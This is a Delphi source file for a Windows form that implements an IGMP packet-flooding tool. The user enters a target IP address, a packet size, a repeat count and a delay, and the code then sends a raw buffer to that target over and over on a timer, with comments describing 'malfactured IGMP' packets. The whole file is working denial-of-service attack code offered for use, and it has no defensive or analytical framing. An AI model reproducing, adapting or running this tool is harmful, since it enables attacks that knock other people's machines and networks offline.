unit Unit5;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  BUFormAnimation, TFlatSpinEditUnit, StdCtrls, TFlatEditUnit, ExtCtrls,
  TFlatHintUnit, TFlatButtonUnit, TFlatPanelUnit, Winsock;

type
  TForm5 = class(TForm)
    FlatPanel1: TFlatPanel;
    FlatButton1: TFlatButton;
    FlatButton2: TFlatButton;
    FlatHint1: TFlatHint;
    Timer1: TTimer;
    FlatPanel2: TFlatPanel;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    Label4: TLabel;
    EditTARGET: TFlatEdit;
    SpinEditPACKETSIZE: TFlatSpinEditInteger;
    SpinEditTIMES: TFlatSpinEditInteger;
    SpinEditDELAY: TFlatSpinEditInteger;
    BitBtn1: TFlatButton;
    BitBtn2: TFlatButton;
    BitBtn4: TFlatButton;
    BUFormAnimation5: TBUFormAnimation;
    procedure FlatPanel1MouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure FormActivate(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure BitBtn1Click(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure BitBtn2Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure BitBtn4Click(Sender: TObject);
    procedure FlatButton2Click(Sender: TObject);
    procedure FlatButton1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form5: TForm5;
  TargetAddr:TSockAddr;
   PacketSize:Integer;
   Times:Integer;
   RawSocket:TSocket;
   b00m:pchar;
   
implementation

{$R *.DFM}

procedure TForm5.FlatPanel1MouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
 ReleaseCapture;
 Perform(WM_NCLBUTTONDOWN,HTCAPTION,0);

end;

procedure TForm5.FormActivate(Sender: TObject);
begin
BUFormAnimation5.AppearRectangle;
end;

procedure TForm5.FormCreate(Sender: TObject);
var
     wsaData:TWSAData;
begin
     
     if WSAStartup( MakeWord( 1, 2 ), wsaData ) <> 0 then begin
        ShowMessage( 'Sorry pal, but it won''t work without winsock 2.1+' );
        Application.Terminate;
     end;
end;

procedure TForm5.BitBtn1Click(Sender: TObject);
begin
// what will do now?
     // first we'll create an IGMP Raw socket
     RawSocket := socket( AF_INET, SOCK_RAW, IPPROTO_IGMP );

     // We'll check if we could create it.
     if RawSocket = INVALID_SOCKET then begin
        // show error
        ShowMessage( 'Sorry but program couldn''t create raw IGMP packet' );
        Application.Terminate; // quit
     end;

     // let's set timer interval ( it'll be equal to our delay variable )
     Timer1.Interval := SpinEditDELAY.Value ; // read from form

     // read other values from form
     PacketSize := SpinEditPACKETSIZE.Value;
     Times := SpinEditTIMES.Value;

     TargetAddr.sa_family := AF_INET;
     // AF_INET = Internet Address Family
     TargetAddr.sin_port := htons( 100 ); // this means port 100
     // for IGMP protocol, Port Information is ignored.
     TargetAddr.sin_addr.S_addr := inet_addr( pchar( EditTARGET.Text ));

     // let's do the virtual connection to be able to use send command l8r
     if connect( RawSocket, TargetAddr, sizeof(TargetAddr)) <> 0 then begin
        // show error
        ShowMessage( 'Couldn''t find the target!' );
        closesocket( RawSocket ); // clean the trash
        exit; // exit from procedure
     end;

     // let's get mem for b00m!
     getmem( b00m, PacketSize ); // yeah this one is old pascal style
     // checking this pointer is extremly important
     if b00m = NIL then begin
        ShowMessage( 'Memory allocation error!' );
        closesocket( RawSocket ); // clean the trash
        Application.Terminate; // quit
     end;

     BitBtn1.Enabled := False; // disable run button
     BitBtn2.Enabled := True; // enable abort button

     // enable timer to start sending packets
     Timer1.Enabled := True;
end;

procedure TForm5.FormDestroy(Sender: TObject);
begin
WSACleanup;
end;

procedure TForm5.BitBtn2Click(Sender: TObject);
begin
// disable timer ( stop sending packets )
     Timer1.Enabled := False;

     // let's free memory
     FreeMem( b00m );

     // clean the trash
     closesocket( RawSocket );

     BitBtn2.Enabled := False; // disable abort button
     BitBtn1.Enabled := True; // enable run button

end;

procedure TForm5.Timer1Timer(Sender: TObject);
begin
if Times = 0 then begin
        BitBtn2Click( Sender ); // stop all processes
        exit;
     end;

     // send malfactured IGMP packet!
     send( RawSocket, b00m, PacketSize, 0 );
     Application.ProcessMessages;
     // decrease "Times" variable
     dec( Times );
     Application.ProcessMessages;
end;

procedure TForm5.BitBtn4Click(Sender: TObject);
begin
Form5.close;
end;

procedure TForm5.FlatButton2Click(Sender: TObject);
begin
Form5.WindowState:=wsMinimized;
end;

procedure TForm5.FlatButton1Click(Sender: TObject);
begin
Form5.close;
end;

end.
